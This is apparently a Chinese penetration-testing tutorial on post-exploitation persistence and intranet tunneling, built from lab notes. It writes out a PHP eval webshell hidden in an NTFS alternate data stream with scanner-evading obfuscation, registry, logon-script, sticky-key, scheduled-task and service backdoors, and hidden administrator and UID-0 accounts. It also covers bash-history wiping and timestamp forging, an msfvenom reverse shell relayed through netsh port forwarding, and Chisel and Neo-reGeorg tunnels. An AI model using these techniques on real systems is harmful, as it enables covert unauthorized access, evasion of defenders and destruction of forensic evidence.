内网穿透

71 阅读15分钟

[TOC]

Windows权限维持

EasyPersistent,是⼀个⽤于windows系统上权限维持的Cobalt Strike CNA 脚本。脚本整合了⼀些常⽤的权限维持⽅法,使⽤反射DLL模块可使⽤API对系统服务、计划任务等常⻅权限维持⽅法进⾏可视化操作(强烈建议使⽤⽩名单进程进⾏操作)。权限维持插件已经集成到LSTR插件中,⽆需再次添加。

github.com/lintstar/LS…

隐藏

使⽤环境:Windows Server 2008

文件隐藏

真正隐藏⽂件:使⽤Attrib +s +a +h +r命令就是把原本的⽂件增加了系统⽂件属性、存档⽂件属性、只读⽂件属性和隐藏⽂件属性。

attrib +s +a +h +r  one.php

image-20251028195751057.png

这样就做到了真正的隐藏,不管你是否显示隐藏⽂件,在此⽂件夹内都看不⻅。

破解隐藏⽂件: 打开电脑⽂件夹选项卡,取消”隐藏受保护的操作系统⽂件“勾选,把”隐藏⽂件和⽂件夹“下⾯的单选选择“显示隐藏的⽂件、⽂件夹和驱动器”。

image-20251028200159334.png

image-20251028200831767.png

如何隐藏⽂件夹下全部⽂件? attrib 命令如果不加参数,则会影响当前⽬录下全部⽂件。 如何恢复⽂件? attrib -s -a -h -r

利用ADS隐藏文件内容

在服务器上echo⼀个数据流⽂件进去,⽐如index.php是⽹⻚正常⽂件,我们可以这么做:

echo ^<?php @eval($_POST['test']);?^> > index.php:hidden.jpg

image-20251028201541465.png

这样⼦就⽣成了⼀个不可⻅的shell hidden.jpg,常规的⽂件管理器、type命令,dir命令、del命令发现都 找不出hidden.jpg。

notepad index.php:hidden.jpg 或者 dir /r   #进⼊⽂件所在⽬录
直接删除index.php即可删除index.php:hidden.jpg

ADS shell 用法

⼀个正常⽂件⾥把这个ADS⽂件include进去,文件内容:<?php include('index.php:hidden.jpg')?>,这样⼦就可以正常解析我们的⼀句话了。

防止检测方法:

将index.php:hidden.jpg进⾏hex编码,得到对应的16进制内容 696E6465782E7068703A68696464656E2E6A7067

image-20251028203537606.png

利⽤PHP pack() 函数将16进制的hex编码还原并包含

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

进⼀步利⽤PHP 可变变量进⾏⼆次转换,最后得到绕过D盾扫描的姿势如下:

<?php
$a="696E6465782E7068703"."A68696464656E2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>

其他隐藏方法

image-20251028213801273.png

image-20251028213923029.png

image-20251028213957364.png

隐藏账号

使⽤cs中的sharpshadownuser可以创建隐藏账号,注意win7靶场的administrator账号没有激活,因此创建成功也⽆法登录。

image-20251028213548523.png

点一下这个就可以知道用户信息

image-20251028220359017.png

image-20251028220409789.png

image-20251028223826721.png

注:创建的账号是本地帐号,不是域账号,需要使用 stu1\Shadow$ 登录,因为默认情况下是域账号。

开启远程桌⾯:

  1. 开启RDP服务

image-20251029205035157.png

  1. 查看服务端口

image-20251029211623334.png

  1. win+R 输入 mstsc 进入window远程登录。

image-20251029210439411.png

登陆成功:

image-20251029211419232.png

使⽤msf enable_rdp 开启:

获得session会话后,可以使⽤enable_rdp,此模块⾃动开启远程桌⾯、创建⽤户、添加防⽕墙规则。如果⽬标是64位系统最好使⽤64位payload,否则模块可能异常。

run post/windows/manage/enable_rdp USERNAME=evilhacker PASSWORD=P@ssw0rd123

USERNAME : 新⽤户名(如 evilhacker ) PASSWORD : 密码(需满⾜复杂度要求) 可选参数:SERVICE_START_DELAY(服务启动延迟)、ADD_TO_ADMIN(是否加为管理员,默认true)

⼿动执⾏命令开启:

#设置远程桌⾯端⼝
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌⾯
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections1
#检查端⼝状态
netstat -an|find "3389"
#关闭远程桌⾯
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections0

Windows隐藏系统⽤户操作,CMD命令⾏下,建⽴了⼀个⽤户名为test$,密码为111qqq!的简单隐藏账户,并且把该隐藏账户提升为管理员权限。

chcp 65001 #设置utf8解决乱码
net user test$ 111qqq! /add #创建隐藏账号
net localgroup administrators test$ /add # 提升到管理员权限

CMD命令⾏使⽤"net user",看不到"test$"这个账号,但在控制⾯板和本地⽤户和组是可以显示此⽤户的。

后门

启动项后门

Logon Scripts是Windows登录脚本,当⽤户登录时触发,它能够优先于杀毒软件执⾏,从⽽绕过杀毒软件对敏感操作的拦截

注册表位置:HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Program Files\Common Files\beacon_x64.exe"
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
  1. 生成一个木马,有 Staged 的 Windows 可执行程序是无 Staged 的完整版。

    补充:Guardrail Settings是给连接附加限制条件,

image-20251029213217169.png

  1. 上传文件并复制路径

image-20251029213646124.png

  1. 执行命令

image-20251029213930277.png

  1. 重启验证

image-20251029215438426.png

注册表自启动后门

位置⼀:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,添加键test1,值为后⻔程序路径。

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"

cs也有相关功能

image-20251029212442756.png

粘滞键后门

粘滞键指的是电脑使⽤中的⼀种快捷键,专为同时按下两个或多个键有困难的⼈⽽设计的。粘滞键的主要功能是⽅便Shift等键的组合使⽤。⼀般的电脑连按五次shift会出现粘滞键提示。sethc.exe就是windows中粘滞键的调⽤⽂件。

sethc.exe⽂件的属性,默认情况下是属于TrustedInstaller所有,不管是普通⽤户还是administrator都没有权限对它进⾏编辑的。TrustedInstaller是⼀个安全机制,权限⽐administrator管理权⾼,但⽐system低。

粘滞键位置:c:\windows\system32\sethc.exe

move sethc.exe sethc1.exe #将原本的sethc改名为sethc1
copy artifact_x64.exe sethc.exe  #将artifact_x64复制并重命名为sethc

注:实验时如果遇到system权限依然执行命令失败,可以执行以下命令:

shell takeown /f C:\Windows\System32\sethc.exe
shell icacls C:\Windows\System32\sethc.exe /grant SYSTEM:F

image-20251028214358625.png

image-20251028214446370.png

此时在登录界⾯连按五次shift键即可启动后门,⽽且不需要登录就可以执⾏。

image-20251028220117678.png

映像劫持

执行A文件其实是执行B文件

image-20251029215629085.png

计划任务后门

schtasks命令设定计划⾃启动后⻔程序。

schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\7764.exe /sc minute /mo 1  #每1分钟⾃动执⾏7764.exe
chcp 437  #修改编码
schtasks  #查看计划任务chcp 437  #修改编码
schtasks  #查看计划任务

服务自启动后门

⾃启动服务⼀般是在电脑启动后在后台加载指定的服务程序,我们可以将exe⽂件注册为服务,也可以将dll⽂件注册为服务。

sc create test binpath= C:\Users\Administrator\Desktop\7764.exe (注意等号后⾯有空格)#创建服务
sc config test start= auto  #设置服务为⾃动启动
net start test  #启动服务

Linux权限维持

隐藏

使⽤环境:CentO

历史命令隐藏

技巧⼀:只针对你的操作关闭历史记录

注:需要用bash运行

bash
set +o history

上⾯的命令会临时禁⽤历史功能,这意味着在这命令之后你执⾏的所有操作都不会记录到历史命令中,然⽽这个命令之前的所有东⻄都会原样记录在历史命令中。

image-20251029230513094.png

要重新开启历史功能,执⾏下⾯的命令:

set -o history	

image-20251029230831301.png

技巧⼆:从历史记录中删除指定的命令 假设历史命令中已经包含了⼀些你不希望记录的命令,这种情况下我们怎么办?很简单,通过下⾯的命令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每⼀条命令前⾯会有个数字。从历史记录中删除指定的项:

history -d [num]

这种技巧是关键记录删除,其他情况⽐如前150⾏是⽤户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这⾥,我们只保留前150⾏:

sed -i '150,$d' .bash_history

history 命令显示的是内存中的记录,⽽⾮直接读取⽂件,删除⽂件不影响已加载到内存的记录。因此可以退出登录,再次登录查看

image-20251029230732460.png

技巧三:完全清空历史

history -c &&history -w

文件隐藏

Linux 下创建⼀个隐藏⽂件:touch .1.txt touch 命令可以创建⼀个⽂件,⽂件名前⾯加⼀个点就代表是隐藏⽂件,如下图:

image-20251029220445218.png

⼀般的Linux下的隐藏⽬录使⽤命令 ls -l 是查看不出来的,只能查看到⽂件及⽂件夹,查看Linux下 的隐藏⽂件需要⽤到命令:ls -a

隐藏文件时间戳

Linux下隐藏后⻔必须要修改时间,否则很容易被发现,直接利⽤touch 就可以了。将时间戳修改成某年某⽉某⽇。如下修改one.php时间戳为:2019年08⽉08⽇。

touch -t 1908081042.30 one.php

隐藏权限

在Linux中,使⽤chattr命令为⽂件添加锁定属性,来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。

chattr +i evil.php 为⽂件添加锁定属性
lsattr evil.php  属性查看
chattr -i evil.php 解除锁定
rm -rf evil.php  删除⽂件

image-20251029220926773.png

后门

使⽤环境:Kali Linux

一句话添加用户和密码

添加普通⽤户:

# 创建⼀个⽤户名hacker,密码123456的普通⽤户
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker
# useradd -p ⽅法,` ` 是⽤来存放可执⾏的系统命令,"$()"也可以存放命令执⾏语句
useradd -p "$(openssl passwd -1 123456)" hacker
# chpasswd⽅法
useradd hacker;echo 'hacker:123456'|chpasswd
# echo -e⽅法
useradd hacker;echo -e "123456\n123456\n" |passwd hacker

添加root⽤户:

# 创建⼀个⽤户名hacker,密码123456的root⽤户
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑⽤户排查技巧:

# 查询特权⽤户(uid为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的账号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root账号外,其他账号是否存在sudo权限,如⾮管理需要,普通账号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

SSH免密登录

前提条件:

  1. ⽬标机器开启SSH服务且允许密钥登录
  2. 攻击者拥有⽬标机器的Webshell

在服务端上⽣成⼀对公私钥,然后把公钥安装到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配,如果匹配成功就可以登录了。

在服务器上执⾏命令:

ssh-keygen -trsa

过程中按三次回⻋,执⾏结束如下图:

image-20251029231105800.png

进⼊/root/.ssh/⽂件夹查看内容,如下所示:

image-20251029231149920.png

其中 id_rsa 为私钥,id_rsa.pub 为公钥。 接下来需要在服务器上安装公钥,即将 id_rsa.pub 的内容追加到 /root/.ssh/authorized_keys 内:

cat id_rsa.pub >> authorized_keys

image-20251029231306375.png

vim /etc/ssh/sshd_config,开启密钥登录的认证⽅式:

image-20251029231426458.png

重启ssh服务 service ssh restart(centos是 systemctl restart sshd

私钥提取出来保存到本地,可以利⽤此密钥直接进⾏登录:

# 安装转换工具
sudo apt install putty-tools
# 转换密钥
puttygen ~/.ssh/id_rsa -o /root/desktop.ppk
# 转换密钥
puttygen ~/.ssh/id_rsa -o /root/desktop.ppk
# 把 ppk 文件复制到当前用户目录
cp /root/desktop.ppk /home/kali/
# 赋予下载权限
chown kali:kali /home/kali/desktop.ppk

在 MobaXterm 中导航到目录下载下来

重新创建一个ssh会话:

image-20251030000522131.png

选中Use private key,上传ppk文件。

然后登陆成功:

image-20251030000626111.png


CS连接网内网主机

如果内⽹渗透中,⾁鸡可以直接上线(可以连接互联⽹),则⽐较简单,都上线cs或者msf即可。如果不能出⽹,则需要通过⾁鸡上线,下⾯针对⽆法出⽹的情况,介绍两种上线⽅式。

正向连接

image-20251031110910041.png

在CS客户端新建⼀个TCP协议的监听, 监听端⼝为 4444

image-20251031182156479.png

创建⽆状态⽊⻢(Windows Executable(S)), 选择上述建⽴的TCP监听器, 随后将⽆状态⽊⻢放到不出⽹的内⽹主机中去运⾏, 运⾏后内⽹主机就会监听本机的4444端⼝

image-20251031182541325.png

在web服务器的beacon命令⾏输⼊: connect 192.168.52.138 4444 , 来正向连接内⽹主机, 随后内⽹主机在CS上线

image-20251031184121213.png

(需要关闭防火墙)

反向连接

若内⽹主机上部署了防⽕墙, 那么正向连接很可能会被防⽕墙拦截掉, 为了解决这⼀问题可以采⽤反向连接 反向连接可以突破防护墙的拦截, 这是因为这是从内⽹主机反向连接出站的

image-20251031111053660.png

在Web服务器新建⼀个中转监听, 监听的ip要填写其内⽹⽹卡的ip, 即 192.168.52.143

image-20251031184433279.png

填入要上线的内网地址,选择中转的会话

image-20251031184613457.png

注:这里图片填错了,应该是中专服务器的内网ip,如图:

image-20251031185624565.png

创建⽆状态⽊⻢,监听器选择上述建⽴的中转监听, 随后将⽊⻢扔到内⽹主机中运⾏

image-20251031184822272.png

如果开启了防⽕墙可能会产⽣安全警告,最好提前⽤cmd关闭A机器防⽕墙或者新建放⾏规则,梼杌插件的系统操作功能具备关闭防⽕墙功能,也可以⼿动关闭。

⽊⻢运⾏后会内⽹主机会在CS中上线。

image-20251031185642243.png

内网穿透基础

基础知识

端口转发:

端⼝转发就是将发往外⽹指定端⼝的通信完全转发给内⽹的指定端⼝

代理:

代理是⼀种通过中间服务器来帮助客户端访问服务端的技术。代理服务器位于客户端与服务端之间,充当两者的中介,从⽽实现客户端和服务端之间的隔离。客户端的所有请求经过代理后,发往服务端,⽽服务端的响应则返回给代理,再由代理传递给服务端。

正向代理:

正向代理代表客户端向服务端请求资源或服务,并将响应返回给客户端。这个过程中服务端只能接触到正向代理服务器,而不知道客户端的真实身份。

反向代理:

反向代理跟正向代理相反,它代表服务端接收来⾃客户端的请求并做出响应,能够隐藏客户端所访问的真实服务器地址。这个过程中客户端不知道⾃⼰访问的到底是哪个服务器。通过反向代理,可以提⾼服务端的安全性、防范DDOS攻击、加密等等。

正向后门:

正向后⻔在受害机运⾏后会开启监听端⼝, 等待控制机进⾏连接控制

反向后门:

反向后⻔在受害机运⾏后会尝试获取控制机的地址以及端⼝, 获取成功后会主动连接控制机

Socks代理

Socks全称为防⽕墙安全会话转换协议, 是⼀种⽹络传输协议, 它通过⼀个代理服务器在客户端与⽬标主机之间进⾏数据交互, 换句话来说, 它相当于扮演⼀个中间⼈的⻆⾊, 帮助客户端与⽬标主机进⾏传话

根据OSI模型, SOCKS属于会话层的协议, 使⽤TCP协议传输数据, 因⽽不提供传递ICMP(ping命令)信息之类的⽹络层⽹关服务

image-20251031112023921.png

Socks代理是基于Socks协议的⼀种代理, 也被业内称为全能代理, 与其它代理不同的是, 它只是简单的传递数据包, ⽽不关⼼该数据采⽤的是何种应⽤协议, 所以SOCKS代理服务器通常⽐其他代理服务器速度要快得多

SOCKS4与SOCKS5的区别

SOCKS4: 只⽀持TCP协议, SOCKS5: ⽀持TCP协议和UDP协议, 还⽀持身份验证, 服务器域名解析等等

端口转发

Netsh端口转发

netsh interface portproxy 是⼀个配置⽹络代理的命令, 可以配置ipv4或ipv6的端⼝转发 代理以及双向端⼝转发代理

下述命令的意思是, 若有TCP的链接发送⾄本机(127.0.0.1)的80端⼝时, 会将链接转发⾄⽬标地址(192.168.52.148)的指定端⼝(80),使用前要关闭防火墙。

netsh interface portproxy add v4tov4 listenport=80 connectport=80 connectaddress=192.168.52.138

add v4tov4 : 添加⼀条ipv4⾄ipv4的端⼝转发记录

listenport: 本机的监听端⼝

listenaddress: 本机的监听地址, 不填默认为本机地址

connectport: ⽬标端⼝

connectaddress: ⽬标地址

image-20251031114301091.png

删除端⼝转发(管理员权限)

netsh interface portproxy delete v4tov4 listenport=81 listenaddress=127.0.
0.1

查看所有的端⼝转发规则

netsh interface portproxy show all

清除所有的端⼝转发规则

netsh interface portproxy reset

MSF实战演示

Kali通过将Web服务器作为⼀个跳板, 将⽣成的反向⽊⻢发送⾄内⽹主机, 内⽹主机运⾏⽊⻢后会主动连接Web服务器, Web服务器通过端⼝转发功能将内⽹主机的连接数据转发⾄kali

image-20251031114701956.png

在kali⽣成⼀个反向⽊⻢⽤于让内⽹主机主动连接Web服务器的5555端⼝, 然后将此⽊⻢放到内⽹主机中去

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.143 lport=5555 -f exe >reverse.exe

在Web服务器设置端⼝转发, 将本机5555端⼝接收到的数据转发⾄kali的5555端⼝

netsh interface portproxy add v4tov4 listenport=5555 connectport=5555 connectaddress=192.168.47.134

在kali的MSF创建监听,监听本机的5555端⼝

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.47.134
lhost => 192.168.47.134
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit

在内⽹主机运⾏⽊⻢后, 随后会在MSF返回内⽹主机的meterpreter会话

HTTP隧道

依赖web服务

Neo-reGeorg

reGeorg是⼀个能够实现内⽹穿透的⼯具,基于socks5协议,且能⽀持众多脚本

由于此⼯具使⽤率过⾼,导致容易被杀毒软件拦截, 现有⼀个项⽬是由reGeorg修改⽽来, ⽽且做了加密和免杀处理, 这款⼯具的名字就叫Neo-reGeorg。

渗透环境已经内置,也可⼿动下载 Neo-reGeorg下载地址: github.com/L-codes/Neo…

实战步骤:

  1. ⽣成后⻔脚本,并放⾄代理服务器的⽹站⽬录

    python3 neoreg.py generate -k henry666
    

    -k : 设置脚本的密钥 generate : 表示⽣成脚本⽂件

image-20251031115756225.png

  1. 将⽣成的脚本 tunnel.php 放到代理服务器的⽹站根⽬录

image-20251031120255503.png

image-20251031120337376.png

  1. 连接脚本⽂件,本机启⽤socks5代理

    输⼊如下命令连接脚本, 并开启socks5协议监听本机的1080端⼝

    python3 neoreg.py -k henry666 -u http://192.168.184.134/tunnel.php
    

image-20251031120557504.png

  1. 浏览器配置⽹络代理为socks5协议的 127.0.0.1:1080

image-20251031121052817.png

  1. 访问内⽹主机的web服务http://192.168.52.138/,验证是否成功进⼊内⽹

image-20251031121644648.png

suo5

suo5 是⼀个⾼性能 HTTP 隧道代理⼯具,它基于双向的 Chunked-Encoding 构建, 相⽐ NeoreGeorg 等传统隧道⼯具, suo5 的性能可以达到其数⼗倍。

Socks5隧道

Cobaltstrike

cs的bean⾃带socks5功能,可以直接使⽤。msf也具备类似模块。

切记此处代理的服务端⼝不在肉机上,⽽在cs的服务端打开

image-20251031121839124.png

image-20251031122426535.png

image-20251031122618288.png

image-20251031122602891.png

Chisel

Chisel是⼀个基于HTTP的快速TCP/UDP隧道⼯具,使⽤Go语⾔编写,主要⽤于通过防⽕墙或NAT设备建⽴安全的⽹络连接。它类似于SSH隧道,但提供了更灵活的功能和更好的性能。

下载适合操作系统的⼆进制⽂件。推荐使⽤版本1.7.7,因为它兼容旧版Windows 系统。如需最新功能,可选择 1.9.1 或更⾼版本 github.com/jpillora/ch…

正向连接:

隧道⼊⼝开在客户端上,服务端相当于出⼝。由于服务端在⾁鸡上,如果有防⽕墙拦截,则⽆法使⽤

服务器端启动(肉机)

./chisel server --p 8088

客户端连接(攻击机)

./chisel client SERVER_IP:8088 LOCAL_PORT:TARGET_IP:TARGET_PORT

反向连接:

反隧道⼊⼝开在服务端上,客户端相当于出⼝,可以规避防⽕墙拦截。

服务器端启动(攻击机)

./chisel server -p 8088 --reverse

客户端连接(肉机)

./chisel client SERVER_IP:8088 R:REMOTE_PORT:LOCAL_IP:LOCAL_PORT

注:SERVER_IP是服务端的ip

  1. 拿下web服务器(公⽹ip)后访问内⽹服务

    在web服务器上启动server

    chisel.exe server -p 12345
    

    在攻击机上启动client,将web服务器的内⽹服务192.168.52.138:80,映射到本地8888端⼝

    chisel.exe client 192.168.184.128:8088 8888:192.168.52.138:80
    
  2. 内⽹漫游,建⽴多个隧道备⽤

    内⽹漫游时,建⽴多个隧道可以防⽌被发现。也可以将cs等c2监听端⼝映射到vps上 在攻击vps服务器上启动server

    chisel.exe server -p 12345 --reverse
    

    在⾁鸡上启动client,将web服务器的内⽹服务192.168.52.138:80,映射到攻击服务器的8888端⼝

    chisel.exe client 192.168.184.128:12345 R:8888:192.168.52.138:80
    
  3. SOCKS5代理示例

    代理全部端⼝可以采⽤SOCKS5代理

    在vps服务器(渗透虚拟机上)上启动

    chisel server -p 12345 --socks5 --reverse
    

image-20251031160537356.png

在win7(⾁鸡)启动

chisel.exe client 192.168.184.128:12345 R:1080:socks

image-20251031162614926.png

渗透虚拟机配置socks5代理后,可以随意访问内⽹服务

image-20251031162829019.png

image-20251031162809100.png

⾼级配置:

使⽤TLS加密

# 服务器端
./chisel server --port 443 --tls-keykey.pem --tls-certcert.pem
# 客户端
./chisel client https://server.example.com:443 8080:localhost:80

⽤户认证

# 服务器端
./chisel server --auth "user:pass"
# 客户端
./chisel client --auth "user:pass"server.example.com:8080 8080:localhost:80

其他⼯具

Stowaway github.com/ph4ntonn/St… Frp github.com/fatedier/fr… microsocks github.com/rofl0r/micr…

Proxifier代理

Proxifier 是一款代理客户端软件,可以让不支持代理服务器工作的程序变的可行。支持各种操作系统和各代理协议,它的运行模式可以指定端口,指定程序的特点。 Proxifier 的主要用途是在系统级别通过代理服务器强制Web 请求,从而使来自不支持代理的应用程序的请求通过代理访问其预期网站。

工具下载地址: pan.baidu.com/s/1pu_5Wcq1… 提取码:sz5v

image-20251031164148482.png

工具使用

  1. 配置代理服务器:配置 Proxifier 连上你的代理服务器
  2. 配置代理规则:指定对应程序强制走你之前配置好的代理服务器

配置代理服务器

打开安装好的 Proxifier ,点击菜单栏“配置文件”中的“代理服务器”

image-20251031164342876.png

image-20251031172850767.png

在弹出的窗口中点击“添加”,找到代理的服务端的IP和端口(本地代理服务就是 127.0.0.1 )并填写和选择对应代理协议

image-20251031164527429.png

点击检查

image-20251031164832045.png

配置代理规则

点击菜单栏“配置文件”中的“代理规则”

image-20251031165036510.png

打开“代理规则”列表,点击“添加”按钮

image-20251031165900263.png

应用程序是详细任务管理的进程名字

52.*是访问52.后面任意ip都走代理

选择socks5

浏览器使用直接代理:

image-20251031173005465.png

Fscan代理扫描

无代理前:

image-20251031173155947.png

设置代理规则:

image-20251031173314844.png

扫描192.168.53.138端口(有警告的话直接忽略就好了)

fscan -h 192.168.52.138

image-20251031175037824.png

注:192.168.52.1/24无法扫描,因为这种扫描包含ping扫描,socks支持icmp协议

Proxychains

ProxyChains 是一款用于在Linux 系统上通过多个代理服务器转发网络流量的工具。它允许你将任何TCP 连接的应用程序(例如浏览器、curl、wget、nmap 等)的流量通过你指定的代理链路进行转发,从而隐藏你的真实IP 地址,绕过地理限制或防火墙,以及增强你的网络匿名性。

安装和配置

对于Debian系Linux,可以直接使用 apt install proxychains4 安装,其配置文件一般在 /etc/proxychains4.conf

重点在于最后的 [ProxyList] 部分,在这里添加你的代理服务器,格式为 类型 IP 端口 [用户名 密码] ,类型支持http、socks4、socks5、raw,raw类型流量不经修改直接转发到代理。 以下为常见配置文件内容:

[ProxyList]
# 在此添加代理...
# 同时
# 默认设置为"tor"
socks5 127.0.0.1 1080

image-20251031180622916.png

使用

用ProxyChains 非常简单,只需在命令行中使用proxychains 命令,后面跟上你想要通过代理运行的命令即可。例如,要通过ProxyChains 访问Google,你可以使用以下命令:

proxychains curl https://www.google.com